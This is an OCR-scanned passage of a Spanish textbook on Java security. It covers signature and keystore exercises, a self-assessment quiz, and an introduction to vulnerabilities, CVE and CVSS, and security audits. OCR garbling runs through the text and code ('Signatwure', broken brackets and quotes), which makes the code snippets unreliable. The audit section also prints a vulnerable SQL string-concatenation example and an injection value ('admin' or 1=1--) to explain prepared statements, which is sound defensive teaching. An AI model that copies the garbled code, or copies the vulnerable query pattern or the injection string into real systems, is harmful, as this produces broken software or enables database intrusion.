fis = new FileInputStream{PROPERTIES_FILE);

properties. load(fis};

fis.close();

4/ Create a credit card factory with the given properties.

CreditCardfFactory factory = new CreditCardFactory(properties);

f! Get all the credit cards.

Iterator iterator = factory.finddllCreditCards{privatekey);

/4 Display all credit cards.

while{iterator.hasNext()) {
CreditCard creditCard = (CreditCard)}iterator.next(};
System.out.println{™\nAccount ID: “screditCard.getaccountID({)};
System.out.println{™CC Mumber: "+creditCard.getCreditCardiumber()});

Si gjecutamos la clase anterior nos devolveria las tarjetas registradas:

Account ID: 1
CC NMumber: 1234 5678 9812 3456

Crear un programa en java gque use el objeto Signature para crear
v verificar una firma.Sustituir las xxx por variables v métodos en el
cOdigo.Los métodos a implementar son:

o generateKeyPair(): crea el par de claves publica ¥ privada en el
objeto KeyPairGenerator,dependiendo del algoritmo seleccionado.

o crearFirma(): crea el objeto Signature a traves del método
oetlnstanced( ).

o verificarFirma(): comprueba la validez de la firma devuelta por
crearFirmai)
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FirmaDigital.java
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PublicKey pubk){

try{

Signature mySign = Signatwure.xxx({algoritmo};
System.out.println{™YnLa firma se esta walidando...™);
mySign.sxx{pubk);

mySign.wxx(s.getBytes(]});

if(mysign.xxx(sig))

System.out.println{™\nFirma validada™};

else

System.out.println{™\nMo se ha podido validar la firma®);
tcatch{Exception e){

System.out.printlnfe);

1

]

static S5trimg convertBase&d(byte[] data){
BASEsdEncoder encoder = new BASEG4Encoder();

5tring encoded = xxx.encodeBuffer{data);

return encoded;

1

}

Ejecucion:

Fol pair is generated

Firma generada correcktamente

Fikl | (MLl Tulieat
iFBpELE 1EAe 1 ULZAFMO S TRS

publica . S : emam AR T o UL SEnE 7250 B HMePaC2USZp
THTUT2HU rupl

Artbesmntmig il
d7tse/ 04 JHxSHPUCHIoOE

F 1 ms 0 1 TpR1td TOAgOE L tgAhR | xFIOSHOEDEE 1Vc3ges 1UntEu g

La Firnz se es validanda

Firma ualidada

Figura 7.26. Captura de pantalla. Ejecucion FirmaDigital
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3. Elsiguiente codigo muestra un programa Java que leee el certificado
directamente del keystore. Completa el programa sustituyvendo las
xxx por variables vy métodos para que lea el fichero .keystore que se
encuentra en el directorio /home del usuario v pasandole el alias v el
password del certificado nos muestre informacion del mismo.

En este caso debemos utilizar la clase java.security.KeyStore. El
método load() de esta clase permite cargar el almacén si le pasamos el
nombre del fichero de almacén (p.e. keystore) v el password correcto. A
continuacion ¢l método getCertificate() permite obtener el certificado
con un alias concreto.

ImprimirCertKS.java

import jawa.io.*;
import java.security.cert.ClertificateFactory;
import jawa.security.cert.lertificate;
import java.security.KeyStore;
ff Extrae um certificado del keystore (especificando alias y password)
public class ImprimirCertks {
public static woid main (String[] args) throws Exception {
if (args.length != 2) {

System.err.println{™Uso: java ImprimirfertKS alias password®);

System.exit(1});
¥
{4 El keystore por defecto estd en el directorio “/home®
S5tring home = System.getProperty(™/home”);
5tring fich_keystore = home + File.separator + “.keystore®;
char[] password = args[1l].tolharArray();
S5tring alias = args[@];
/4 Abrir el keystore
FilelnputStream fIn = new FilelnputStream(=xx);
Keystore keystore = KeyStore.xxx(“IK5Y);
/4 Cargar el keystore pasandole pr parametro fichero y password
keystore. xxs( e, Hxx);
F{ Obtener el certificado pasdndole por pardmetro el alias
Certificate cert = keystore.xxx{xxx);
ff Mostrar el certificado

System.out. printlm{xxx);
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Ejecucion:

J=dens
TwithD5A,

Public Key
Parameters: DSR

Ualidity: [From: Fri @pr 2%
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Figura 7.27. Captura de pantalla. Ejecucion ImprmirCertks

1.9 RESUMEN

La criptografia de claves plblicas v con ella los sistemas de firma digital, se
basa en que una de las partes crea un par de claves relacionadas y mantiene una en
secreto, mientras la otra se distribuye libremente a cualquier interesado.

A partide de ahi pueden ocurrir dos cosas, que la clave pablica se utilice para
codificar un mensaje que solamente puede deserifar el poseedor de la clave privada o
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que esta se use para cifrar un mensaje que pueda ser decodificada por cualgquiera que
disponga de la clave publica, pero que solo pueda haberla creado el poseedor de la
clave privada que estd asociada con ella. Este altimo procedimiento es el empleado
por las firmas digitales.

7.10 BIBLIOGRAFIA

F Addison Wesley; Enterprise Java Security: Building Secure J2EE
Applications 2004

7.11 AUTOEVALUACION UNIDAD 7

Selecciona la respuesta correcta

1. ;Cudles de las siguientes son herramientas de seguridad dentro del
ecosistema de Java?

Keytool jarjarsigner, Policy tools

Keytool whireshark burpsuite, Policy tools
Keytool jarsignertepdump

Keylool jarsigner,whireshark

e o oo

2. ;Cuales de los siguientes métodos tenemos disponibles dentro de api
Security para obtener informacion sobre los proveedores de seguridad
instalados en el sistema?

Provider[] getListProvidersi),Provider[] getProviders(String name)
Provider[] getProviders(),Provider getProvider{String name)
Provider[] getProviders(),Provider getProvider()

Provider getProviden(),Provider getProvider(String name)

oo o

3. :Qué comando podemos ulilizar para generar nuestro propio certificado
con la herramienta keytool?

keytool -genkey -kevstore myStore

. keytool -genkey —key mykey —store myStore
keytool -genkey -key myStore

. keytool -genkey -store myStore

BEO o

4. ;Cual de las sigutentes opeiones del comando keytool se usar para generar
el par de claves piblica y privada?
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—certreq
—genkey
—import
—export

5. ;Cudl de las siguientes sentencias es clerta sobre el comando jarsigner?

a.

La herramienta jarsigner utiliza el certificado v la informacion del
almacén de claves para firmar archivos JAR.

. La herramienta jarsigner solo puede utilizar el algoritmo RSA con ¢l

MD5.

La herramienta jarsigner puede firmar todo tipo de archivos

. La herramienta jarsigner puede firmar los archivos JAR creados con

otras herramicntas.

6. ;Cudl es el paquete core del proveedor Sun]CE?

a
b
C
d

. java.security

. javax.cryplo

. javax.cryplo.spec

. javax.cryplo.interfaces

7. Un paquete de datos firmado por un usuario A se transmite 4 un usuario
B. ;Como puede determinar el usuario B que la clave pablica utilizada
por A realmente pertencee dicho usuario?

(=S -

Mediante claves secrelas

Mediante mensaje cifrado

Mediantes certificados de clave publica v autoridad de certificacion
Obteniendo la [P v la MAC del usuario A

8. Para generar un objeto MessageDigest donde cualquier proveedor puede
suministrar el algoritmo dado, ;cudl de las siguientes afirmaciones usaria?

a.

public static MessageDigest getlnstance(String  algorithm, String
provider) throws NoSuchAlgorithmException NoSuchProviderExce
ption

. public static MessageDigest getlnstance(“MD5", “SLUN™)

public static MessageDigest getlnstance(String algorithm) throws
NoSuchAlgorithmException

. public static MessageDigest getlnstance("SHA-1", “SUN™)
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;Qué método de la clase java.security.cert. X509CRL podemos obtener la
lista de certificados revocados(CRL) de forma que recortiendo esta lista
podemos obtener para cada certificado revocado.el serial number y la
fecha de revocacion?

a. XN509CRL.getCRLCertificates();

b. X509CRL.getCertificatesListRevoked();
c. M509CRL.getRevokedCertificates();

d. M509CRL.getListRevokedCertificates();

10.;Qué método de la clase KeyStore nos permite recuperar la clave privada

de un certificado si pasamos por pardmetro el alias v el password del
certificado?

a. PrivateKey clavePrivada = (Privatekey)kevstore getPrivateKev(alias
Certificate, passwordCertificate);

b. PrivateKey clavePrivada = keystore.getPrivateKey(passwordCertific
ate,aliasCertificate);

c. PrivateKey clavePrivada = keystore getKey(passwordCertificate.alia
sCertificate):

d. PrivateKey clavePrivada = (Privatek ey )keystore getKey(aliasCertificate,
passwordCertificate);

7.12 LECTURAS RECOMENDADAS

https:Aes wikipedia.org/wiki/Lista_de revocaci®C3%83n_de certificados

7.13 GLOSARIO DE TERMINOS

F AES: Sistema de cifrado desarrollado por dos cientificos belgas, Joan

Daemen y Vincent Rijmen. Es un cifrado de blogue simétrico gue puede
trabajar con claves de 128, 192 o 256 bits, trabajando en bloques de 128
bits.

Clave simétrica: Clave utilizada para una comunicacidn simétrica, ¢s
decir, comunicacion neifrada mediante dicha clave.

Clave asimétrica: Claves publicas v/o privadas utilizadas en la
comunicacion asimétrica, es decir, la clave publica se utiliza para cifrar y
la elave privada para descifrar.
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F Criptografia solida: Criplogralia basada en algoritmos probados y
aceptados por la industria, extensiones de clave sélidas (minimos de 112
bits de solidez efectiva de clave) y practicas adecuadas de administracidn
de claves. La criptografia es un método de proteccion de datos e incluye
tanto cifrado (reversible) como hashing (no reversible o de un solo
uso). Algunos ejemplos de normas v algoritmos de cifrado probados y
aceptados por la industria incluven: AES (128 bits y superior), TDES
(claves minimas de triple extension), RSA (2048 bits y superior), ECC
(160 bits v superior) v ElGamal (2048 bits y superior).

F CRL (Certificate Revocation List): Estructura de datos que enumera
los certificados digitales que han sido invalidados por su emisor antes de
la fecha de expiracion establecida

F Keystores: Claves seguras generadas con el fin de encerrar ¢l contenido
de algin documento.

F Keytool: Herramienta de creacion de certificados desde linea de
comandos que permite generar pares de claves privadas v plblicas para el
usuario v memorizar los cerlificados de otras entidades de certificacion.

F RSA: Sistema criptogrifico de clave piblica, es vilido tanto para cifrar
como para firmar digitalmente.

F X509 Recomendaciones del ITU-T que trata los marcos de claves
publicas v atributos. Es un estindar comunmente empleado para
certificados  digitales. Incluye los modelos para X 509 certificados
de clave pablica, X.509 certificados de atributos y X.509 CLR. El
equivalente 150 es 1S 9498-4.



~ VULNERABILIDADES, AUDITORIAS DE
SEGURIDAD Y HERRAMIENTAS DE
ANALISIS

INTRODUCCION

En este tema se introducen varios conceplos que explicarin la importancia de
la seguridad en las aplicaciones web, asi como para entender las ventajas v limitaciones
de las auditorias de seguridad v en concreto de los andlisis de vulnerabilidades que
forman parte de estas. Ademds, se analizard cdmo los andlisis de vulnerabilidades
pueden ayudar a identificar los distintos tipos de vulnerabilidades que pudieran
existir.

OBJETIVOS DE LA UNIDAD DIDACTICA

1. Analizar la importancia de la seguridad en general vy en concreto sobre
aplicaciones web v de como una herramienta como es la auditorda de
seguridad puede ayudar a identificar fallos en las aplicaciones que
pudieran vulnerar la seguridad de la informacion.

2. Entender la naturaleza de las vulnerabilidades qué son, como surgen, qué
implicaciones tienen y sobretodo dar a conocer una serie de recursos que
puedan ayudar tanto a desarrolladores como a auditores a identificarlas
v mitigarlas.
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3. El objetivo del andlisis de seguridad de una aplicacion Web es pasar de
una aplicacidn Web que presenta vulnerabilidades, a una aplicacion que
es segura ¥ no Hene vulnerabilidades conocidas.

8.1 PROCESO DE BUSQUEDA DE VULNERABILIDADES

La blsqueda de vulnerabilidades se puede plantear como un proceso que
consta de tres partes diferenciadas:

F Reconocimiento: ¢l primer paso del proceso serd definir el objetivo v los
sistemas asociados al aplicativo para asi obtener una visién general del
entorno. En este paso se tratard de identificar por ejemplo el servidor web
sobre el gue corre la aplicacién, el lenguaje de programacion utilizado
para su desarrollo, la estructura de directorios utilizada por la aplicacidn,
determinar si la web utiliza S5L v qué protocolos de cifrado permite.

¥ ldentificacién: una vez se ha reconocido el entorno v se ha obtenido
una vision global del aplicative asi como de los sistemas v tecnologias
asociados a este se procederd a tratar de identificar las vulnerabilidades
o los diferentes vectores de atague que pudieran existir. Para ello la
bisqueda se podrd realizar siguiendo las indicaciones de la guia de
testing de la OWASP,

P Validacidn: en este Gltimo paso se validard si la vulnerabilidad es
realmente explotable y en caso de ser asi se evaluard, posteriormente,
el riesgo gue esta representa. Con tal de realizar esta verificacion se
requerird utilizar un navegador web actualizado, especialmente si se trata
de una vulnerabilidad cuyo vector de ataque se gjecutard en el navegador
del usuario, por ejemplo, un fallo de X88 o de CSRE

8.2 COMMON VULNERABILITY SCORING SYSTEM (CVSS)

Con el fin de encontrar un sistema de evaluacidn de vulnerabilidades preciso
y estandarizarlo en la industria de la seguridad informatica, el National Infrastructure
Advisory CounciliNIAC), oficina de Estados Unidos encargada de la seguridad de
infragstructuras criticas, comenzd en 2003 el desarrollo de ¢l Commeon Vulnerability
Scoring System(CVS5).

El CVSS trata de medir la gravedad de una vulnerabilidad en tres dreas
mirando de proveer asi una valoracién bastante completa sobre la vulnerabilidad.
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Como resultado, generard cuatro puntuaciones, una para cada drea vy una cuarta
global, ademas de un vector de texto que indicard las valoraciones individuales para
cada una de las dreas. Las tres dreas evaluadas son:

¥ Métricas base: es el drea que se centra en medir la complejidad y el
impacto de una vulnerabilidad de forma objetiva.

F Métricas temporales: drea que mide aquellas caracteristicas gue
evolucionan con la vulnerabilidad a lo largo del tiempo v que estin
basadas en las métricas base.

P Métricas ambientales: drea que se basa en las dos anteriores v contempla
las caracteristicas que dependen de la implementacion o de los sistemas
asociados con la aplicacion vulnerable.

El uso de CVSS como sistema para evaluar el riesgo que representa una
vulnerabilidad estad bastante extendido hoy en dia. En particular, hay muchas
organizaciones que han adaptado este sistema para evaluar la gravedad de las
vulnerabilidades:

¥ MITRE con su Common Vulnerability Database (CVE). CVE es una base
de datos de vulnerabilidades que pretende proveer de nombres comunes
para los fallos conocidos pablicamente facilitando asi el intercambio de
datos e informacion entre las diferentes herramientas, bases de datos y
Servicios.

¥ NIST con el National Vulnerability Database (NVID) gque es un sistema
parecido al CVE pero mantenido por el gobierno de Estados Unidos,

F Open Source Vulnerability Database (OSVDB) que al igual que las dos
anteriores es una base de datos de vulnerabilidades creada v mantenida
por la comunidad open source.

8.3 CVE (COMMON VULNERABILITIES AND EXPOSURES)

Los CVE detallan en qué consiste la vulnerabilidad que se ha descubierto,
qué versiones del software estin afectadas, asi como la posible solucion a este fallo
(si existe) o como configurar los equipos para mitigar la vulnerabilidad.

La denominacion utilizada para los tipos de vulnerabilidades estd basada en
el estandar de enumeracién de vulnerabilidades comunes, conocido por sus siglas en
inglés CWE (Common Weakness Enumeration). Esta iniciativa pretende proporcionar
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un diccionario de los tpos de vulnerabilidades, facilitando su utilizaciom por la
comunidad y permitiendo una mejor integracion de las herramientas y servicios de
seguridad.

Bases de datos de vulnerabilidades

National Vulnerability Database hitp: fnvd nist. gov
Common Vulnerabilities and Exposures http:feve. mitre org!
Interfaz alternativo: Attpwww.evedetails.com

Common Weakness Enumeration hitp-/owe mitre.org
Security Focus htip:wwwosecurityfocus.com/bid

Open Source Vulnerability Database hetp-Vosvdb org
Computer Security Vulnerabilities http:Ssecurityvulns. com

TEYNNNNY

8.3.1 CVE en Java

La miquina virtual de Java es una de las plataformas mas atacadas, sobretodo
en los navegadores donde los atacanies se aprovechan de fallos de seguridad que
tiene algunas de las versiones de java. Todas estas vulnerabilidades, se han ido
corrigiendo por parte de Oracle que ha ido sacando parches de actualizacion de
seguridad conforme han ido apareciendo.

CVE-2013-0422: Es una de las principales que se descubrieron en ¢l
Java Runtime Environment (JRE) asociado a Oracle Java SE 7 Update 11. Esta
vulnerabilidad se descubrid en la clase MBeanlnstantiator y consistia en poder
acceder a cualquier clase sin tener en cuenta las reglas de politica de seguridad
o accesibilidad. El método MBeanlnstantiatorfindClass() se podia llamar con
cualguier cadena de entrada vy trataria de devolver el objeto de clase lleva el nombre
de la cadena.

Oracle soluciond esta vulnerabilidad en Java 1.7 Update 11 afadiendo
una comprobacion del nombre de la clase dentro del método MBeanlnstantiator.
loadClassi).

HEoas
if (className == null) {
throw new RuntimeOperationsException(new
IllegalargumentException(™The class mame cannot be nmull™),

TException occurred during object instantiation™};

}

ReflectUtil.checkPackagefccess(className);

try {
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if (loader == null)
Al

Otra vulnerabilidad relacionada con la anterior es la nombrada como CYE-
2012-4681.0racle soluciona esta vulnerabilidad en Java 7 1.7 update 7 afiadiendo
un parche en el método com.sun.beans finder.ClassFinder.findClass(). El método
checkPackageAccess () comprueba toda la pila de llamadas para asegurarse de que el
nombre de clase es la adecuada, en este caso, va a comprobar clases cuyos nombres
sean de confianza,

public static Class<?»> findClass{String name}
throws ClasshotFoundException {
checkPackageAccess(name) ;

try {
ClasslLoader loader = Thread.currentThread().getContextClassLoader();

if (loader == null} {
ff Can be null in IE (see 62B4697)
lopader = ClassLoader.getSystemClassloadery);

1
if (loader != null} {

return Class.forMame(name, false, loader);

i

} catch (ClassWotFoundException exception) {
/4 Use current class loader instead
} catch (SecurityException exception) {

/4 Use current class loader instead

¥

return Class.forName(name};

CVE-2015-4901(CV55:7.3; Criticidad: Alta) Vulnerabilidad no especificada
en Oracle Java SE Bu60 permite a atacantes remotos afectar a la confidencialidad,
integridad v disponibilidad a través de vectores desconocidos relacionados con
JavaFX No se requiere de autenticacién en el sistema para explotarla. Productos y
versiones vulnerables: Oracle Jre 1.8.0 Update 60, Oracle Jdk 1.8.0 Update 60,

CVE-2016-0475 (CVSS: 4.8; Criticidad: Media) Vulnerabilidades sin
especificar en Java SE, Java SE Embebido v componentes JRockit de Oracle Java
SE Buéb; Java SE Embebido Bub5; v JRockit R28.3.8 permiten que ataques remotos
afecten la confidencialidad v la integridad a través de vectores relacionados con las
Librerias.

CVE-2016-0466 (CVSS: 53; Sevendad: Media) Vulnerabilidades sin
especificar en Java SE, Java SE Embebido v componentes JRockit de Oracle Java
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SE 6ul03, Tu9l, v Bubb; Java SE Embebido Bub5; v JRockit R28.3.8 permiten que
ataques remotos afecten la disponibilidad a través de vectores relacionados con
JAXP,

8.3.2 Principales vulnerabilidades en Java

Java se ha convertido en la teenologia que mas aprovechan los cibercriminales
para llevar a cabo sus atagues. A conlinuacion, mencionaremos las vulnerabilidades
mas aprovechadas por los atacantes v las medidas para solucionarlas.

CWE-275

Este tipo de vulnerabilidad estd relacionado con quién puede acceder a un
recurso concreto, ¥y qué acciones se pueden llevar a cabo con este recurso. Para
definir el alcance de la actividad de un recurso, deben definirse los permisos que se le
otorgan. Los problemas con los permisos incluyen, a su vez, los problemas motivados
por una configuracion no adecuada de los permisos por defecto que tienen, permisos
heredados inseguros, permisos de e¢jecucion excesivos, permisos inadecuados o
insuficientes, exposicidn a métodos ActiveX inseguros y la asignacion incorrecta a
recursos criticos.

CWE-282

Este tipo de vulnerabilidad ocurre cuando se asigna un propietario que no es
el que deberia corresponder, o bien cuando no se verifica el propietario de un objeto
o recurso. El impacto de esta vulnerabilidad es la obtencidn de privilegios sobre un
recurso o la capacidad de asumir una identidad distinta a la asignada.

Actualizaciones de Java

Las vulnerabilidades que se van detectando normalmente se solucionan
mediante la actualizacion del software v de la version de Java.

Por gjemplo, Java para Windows se basa en descargar una nueva version del
lenguaje para su posterior instalacion. Sin embargo, la nueva instalaciéon no incluye
la desinstalacibn de la version anterior, provocando que en un momento dado se
tengan en el sistema varias versiones del lenguaje. Esto implica que el sistema podria
ser vulnerable, aungue esté instalada la iltima version del producto, ya gue también
estdn listas para utilizar las versiones anteriormente instaladas.
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Para corregir esta situacion se han de desinstalar del equipo las versiones
anteriores de Java para evitar la posibilidad de que algin software utilice una
vulnerabilidad de una versidn anterior del lenguaje, mediante la llamada explicita a
la version vulnerable. De esta forma, en sistema Windows siempre es recomendable
desintalar versiones previas de java antes de instalar nuevas.

https Awww java.com/esidownload/fag/remove_olderversions xml

Cabe resaltar que en las plaformas Linux ¥ Mac no tenemos este problema
va que el software se actualiza a la nueva versidon v no se instala otra adicional a la
va existente.

8.4 NVD (NATIONAL VULNERABILITY DATABASE)

NVD es un repositorio, del Gobierno de EE.UU., para la gestion de
vulnerabilidades, basado en estandares, que recopila esta informacion de las
principales fuentes de prestigio en el campo de la seguridad en tecnologias de
la informacidm, asi como de los propios fabricantes de los productos. Emplea el
estandar de nomenclatura de vulnerabilidades CVE (Common Vulnerabilities and
Exposures) ¥ en cada vulnerabilidad se incluyen referencias tanto a las fuentes de
informacion como a las soluciones de la misma. Este repositorio se centra en las
vulnerabilidades a nivel de infraestructura en servidores y redes.

www v nist. Haw

8.5 AUDITORIAS DE SEGURIDAD

Previo al paso de definir que ¢s una auditorfa de seguridad primero se va a
tratar de definir qué se entiende por auditoria y por seguridad:

Una auditoria es la evaluacion o revision de las cualidades de un sistema,
persona, objeto, proceso, producto, ete, para saber como se posiciona este de acuerdo
a un marco de referencia o una serie de eriterios.

Asi pues, se podria entender por auditoria de seguridad aquel proceso gue
una vez llevado a cabo permile evaluar ¢ identificar de forma sistemdtica el estado
de la seguridad en relacion a una serie de criterios o reglas.

Lo gue se consigue con una auditoria de seguridad es garantizar a los
usuarios que sus datos y sistemas estdn siendo protegidos con las medidas de
seguridad apropiadas generando confianza en la compaiia, entidad o propietario



378 SEGURIDAD ENAPLICACIONES WEB JRVA ) R -M

de la aplicacidon. Si la auditoria estd realizada por un tercero independiente, este
podria aportar un valor afadido, ampliando el abanico de potenciales clientes y
consolidando los que va se tienen.

8.5.1 Estrategia y metodologia de seguridad en aplicaciones web

La estrategia v metodologia de seguridad de aplicaciones web estd formada
por numerosos componenies que se complementan entre si:

F Formacién en seguridad

¥ lInstalacion y configuracion sepgura de sistemnas y redes a nivel de
arquitectura

F Desarrollo de software seguro
¥ Web Application Firewalls (WAF)

F Auditorias de seguridad

o Caja blanca: revision de cddigo manual ¥ automditico
o Caja megra: prucbas de intrusion y Web Application Security
Scanners (WASS)

La formacidn de seguridad debe centrarse en proporcionar un conocimiento
adecuado a administradores v desarrolladores respecto a las vulnerabilidades v
amenazas de seguridad en entornos Web, los diferentes tipos de ataques existentes y
los mecanismos de defensa asociados, preferiblemente mediante ejemplos pricticos.
El objetivo es disponer del conocimiento para construir una infraestructura y
aplicacibn web mds seguros.

Se recomienda definir el aleance mediante una lista de dominios objetivo
de la auditoria. Serin objeto de andlisis todos los subdominios detectados a partir
del dominio objetivo inicial. Las pdginas que se analizardn serdn las que se puedan
encontrar en estos dominios y subdominios.

Las fases de la metodologia de andlisis recomendada son:

F Reconocimiento, también conocida como descubrimiento o identficacion
F Enumeracion o escaneo
¥ Andlisis (deteceidn y verificacion) de vulnerabilidades
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Cada una de estas fases deben incluir informacion detallada sobre los
elementos v fuentes de datos relacionadas con el entorno o aplicacion Web objetivo
de la auditoria de seguridad. Para alcanzar un nivel de seguridad adecuado en el
entorno o aplicacién Web, es necesario involucrar tanto a administradores como a
desarrolladores.

8.5.2 Analisis de seguridad en aplicaciones web

Los programas de auditoria de seguridad son por lo general buenos para
abarcar grandes cantidades de pruebas para detectar la falta de parches de seguridad,
asi como la existencia de configuraciones por defecto, aun asi, la verificacion manual
posteriormente serd una responsabilidad muy importante por parte del auditor de
seguridad. Los desarrolladores podrian usar herramientas como WebScarab, de
OWASP, para testear la seguridad de las aplicaciones web.

Una de las fases de la que consta una auditoria es el andlisis o evaluacion
de wulnerabilidades que se podrd enfocar utilizando diversas estrategias. Las
aplicaciones web pueden ser analizadas utilizando distintos enfoques, entre ellos, es
posible distinguir los siguientes:

¥ Black box (Caja negra): Para este tipo de anilisis los auditores se ponen
en la piel de un atacante el cual no ticnen conocimiento alguno de la
aplicacion o de los sistemas con los cudles estd integrada.

¥ White box (Caja blanca): El analista de seguridad posee acceso al
cadigo fuente de la aplicacidn, manuales de usuario, credenciales vilidas
del sistema, configuracion del servidor web v acceso a la aplicacién en
si misma.

Las pruebas de caja blanca van vinculadas al andlisis estitico de codigo
donde el analista de seguridad posee acceso al codigo fuente de la
aplicacion, y a manuales del usuario, pero no posee acceso a la aplicacion
en sl misma para ejecutarla.

¥ Grev box (Caja gris): Este enfoque consiste en una mezcla de los
dos anteriores. En esta ocasion se facilitard a los téenicos una parte de
informaciom acerca del funcionamiento de la aplicacién y de los sistemas
con los que interactua y con ella procederin a realizar el andlisis de
vulnerabilidades.
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El enfoque m:is realista para realizar la evaluacion de vulnerabilidades serd
el de caja negra, puesto que los auditores tendrin el mismo conocimiento que el que
pudiera tener un posible atacante.

La revision mdis exhaustiva v por lo consiguiente fiable seria la de caja
blanca, pero sin embargo, esta también serd la mds laboriosa v costosa. Las auditorias
de caja blanca suelen incluir una revision de codigo con la que los auditores tendran
total conocimiento sobre la aplicacidn y podrin identificar de forma sencilla los
puntos mas criticos de esta o si por ¢jemplo se repiten ciertos patrones de fallos gue
pudieran derivar en vulnerabilidades.

Por altimo, si se enfoca el andlisis de vulnerabilidades con una metodologia
de caja pris, se conseguiria que los auditores estuvieran en una posicion aproximada
a la de un atacante pero con la ventaja de que pueden identificar con mds facilidad
aquellas partes mas criticas o que requieran mds atencion,

Para evaluar la seguridad de un sitioc web podemos utilizar mdaltiples
herramientas, aunque las mds conocidas que se podrian utilizar son aquellas que
presentan caracleristicas especiales como pueden ser el proxy de peticiones HTTP o
el modo de intercepeion v modificacidn dedichas peticiones.

La primera de ellas Burp Suite de la compafia PortSwigger es una herramienta
comercial bastante potente, sin embargo, debido a su naturaleza de cddigo cerrado,
no es posible para la comunidad de software libre crear trabajos derivados bien sea
extendiéndola con nuevas funcionalidades o aprovechando eddigo de esta para otras
herramientas.

La segunda Zed Attack Proxy o ZAP por el contrario es una herramienta libre
v de cddigo abierto creada por OWASP (Open Web Application Security Project).
Desarrollada en Java integramenie dispone de una AP para python que facilita el
desarrollo de plugins v extensiones.

8.6 AUDITORIA DE CODIGO FUENTE EN CAJA BLANCA

El andlisis de caja blanca se centra en estudiar las vulnerabilidades de
seguridad de la aplicacion Web desde el punto de vista del desarrollador, donde
el analista, dispone de acceso completo al codigo fuente de la aplicacion para su
revision.

La metodologia a seguir se centra en realizar un andlisis exhaustivo del
cOodigo de la aplicacion en busca de funciones vulnerables o de la ausencia de
métodos que permitan, por ejemplo, validar la entrada recibida por el usuario.
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Dentro de las dreas de revision de codigo se deberd analizar el codigo de la
aplicacion web en busca de vulnerabilidades de los siguientes tipos:

Desbordamientos de memoria (huffer overflows)
Inyeccion de comandos en el sistema operativo
Invecciém de comandos SQL en la base de datos
Validacidén de los datos de entrada

XSS (Cross-5Site Scripting }

CSRF, Cross Site Request Forgery

Manejo v generacion de errores

Gestion de logs

Autenticacion

Autorizacion

Grestion de sesiones

Cifrado, tanto en almacenamiento como en rAnsito
Condiciones de carrera (race conditions)

b B B B B B B B B B B B B

8.6.1 Analisis estatico de codigo

El andlisis estitico de codigo es el analisis del codigo fuente sin precisar su
gjecucion. Su objetivo es automatizar ¢l andlisis de cddigo, para encontrar tantas
vulnerabilidades de seguridad de software como sea posible,

La revision de cddigo es el mejor método para detectar las vulnerabilidades
durante fases tempranas de desarrollo, cuando es el mejor momento para remediarlas.
La revision es la verificacion sistemdtica del codigo fuente mediante herramientas
de auditoria automatizadas. Estas herramientas comprueban el eddigo fuente para
garantizar que cumpla un conjunto de reglas predefinidas que garantizan buenas
practicas de programacién. Con la automatizacidn, las herramientas de software
proporcionan ayuda con la revision de codigo manual y el proceso de inspeccidn. El
programa de revision normalmente muestra una lista de advertencias (violaciones de
las normas de programacion) ¥ también puede proporcionar asistencia al programador
para corregir los problemas encontrados.

8.6.2 Auditoria de cddigo fuente

Esta técnica consiste en realizar busquedas dentro del mismo cédigo para
localizar patrones de {ragmentos de codigo que sean potencialmente vulnerables
a problemas conocidos. Lo recomendable es que la auditoria no la realice la
misma persona que ha escrito el codigo, sino un equipo distinto, para asegurar la
imparcialidad, lo normal es que esta auditoria la realice un equipo de QA.
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En este punto, hay que destacar que auditar codigo no es solo realizar
una bisqueda de texio, aunque algunas herramientas se limitan a ello, sino que
se trata de algo mds complejo. Es necesario seguir la ¢jecucion del programa v la
contextualizacion del codigo en ciertos puntos potencialmente vulnerables, como es
el filtrado de pardmetros de entrada y la interaccion con la base de datos. La solucion
mas adoptada consiste en una mezcla entre herramientas antomdticas y validacion
manual, como acostumbra a ocurrir en estos casos.

Destacar que una programacion ordenada v modular ayuda en gran medida
a la limpieza del codigo v la estructuracion del mismo, por lo tanto, hace mucho
mias sencilla la auditorfa. Es por ello por lo que el seguir unas buenas pricticas de
programacion repercute en la seguridad del sistema. Un cddigo que solo entiende el
programador que lo ha escrito es dificil de auditar por parte de terceros.

Veamos un ejemplo de lo que se podria buscar en ¢l codigo fuente
para intentar evitar una inveccidn de codigo SQL. Se trata de buscar los puntos
potencialmente vulnerables a este problema y asegurar gue estin debidamente
securizados; por ejemplo, un filtrado adecuado de los pardmetros de entrada. Una de
las construcciones que pueden dar lugar a este problema son las sentencias creadas
dindmicamente junto con parimetros de entrada del usuario.

S5tringBuilder consulta = newStringBuilder (“Select id, nombre, descripcion,
precio

From libros Where"™ 4+ condicieon);

S5tringBuilder consulta.Append ("id="};

consulta.Append (Request.QueryString(™ID").toS5tring(});

En este caso, el codigo serfa vulnerable a una inveccidn de codigo SQL en
caso de gue no se haga un filtrado apropiado del parimetro 1D.

Mdas que la bisqueda de problemas concretos, muchas veces se trata de
buscar fragmentos de cddigo potencialmente peligrosos debide a su Tuncidn,
Bisicamente, se trata de intentar buscar la interaccion con el sistema de ficheros,
con el sistema operalivo v con la base de datos. La bisqueda de los puntos de
interaccidn varia en funcion de la teenologia usada. Por ejemplo, en Java se utilizan
comunmente las siguientes APl para ejecutar consultas contra la base de datos, por
lo gue seria interesante buscar los puntos en los que se utilizan para estudiar que no
haya problemas:

java.sgl.Connection.createStatement
java.sgl.S5tatement.execute
java.sgl.5tatement.executeQuery
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Existe una alternativa que representa una APl mébs robusta basada en
sentencias preparadas(PreparedStatement)a problemas de seguridad, como las
inyecciones:

java.sgl.Connection.prepareStatement
java.sql.Prepareditatement.setString
java.sql.Preparedstatement.execute
java.sql.Prepareditatement.executefuery

En el siguiente gjemplo, con el uso de prepareStatement, se evila una
inyeceidn SQL:

S5tring uswario = Tadmin® or 1=1-";

String password = “password”;

Statement s = con.prepareStatement({”Select * from usuarios where usuario
=} and password = ?");

s.setString{l,usvario);

s.52t5tring(2,password];

s.executeQuery();

8.7 AUDITORIA DE CAJA NEGRA

Las auditorias de caja negra ponen al atacante en una situaciéon en la gque
no tiene ninguna informacion del objetivo v debe partir de cero para averiguar todo
lo posible. El anilisis de caja negra se centra en estudiar las vulnerabilidades de
seguridad de la aplicaciones web desde el punto de vista de un atacante externo.

El andlisis se basa en la interaccion del analista con la aplicacién Web.
Mediante la generacion de diferentes estimulos o datos de entrada, se analiza la
respuesta o datos de salida, con el objetivo de identificar posibles vulnerabilidades.

Los datos de entrada deben ser especialmente manipulados para provocar la
gjecucion de excepeiones v condiciones no esperadas, como errores en la ejecucion
de scripts, errores provenientes de la base de datos, errores del servidor web (HTTP
500), ete.

Ejemplos

Para detectar la existencia de vulnerabilidades de inyeccion SQL es necesario
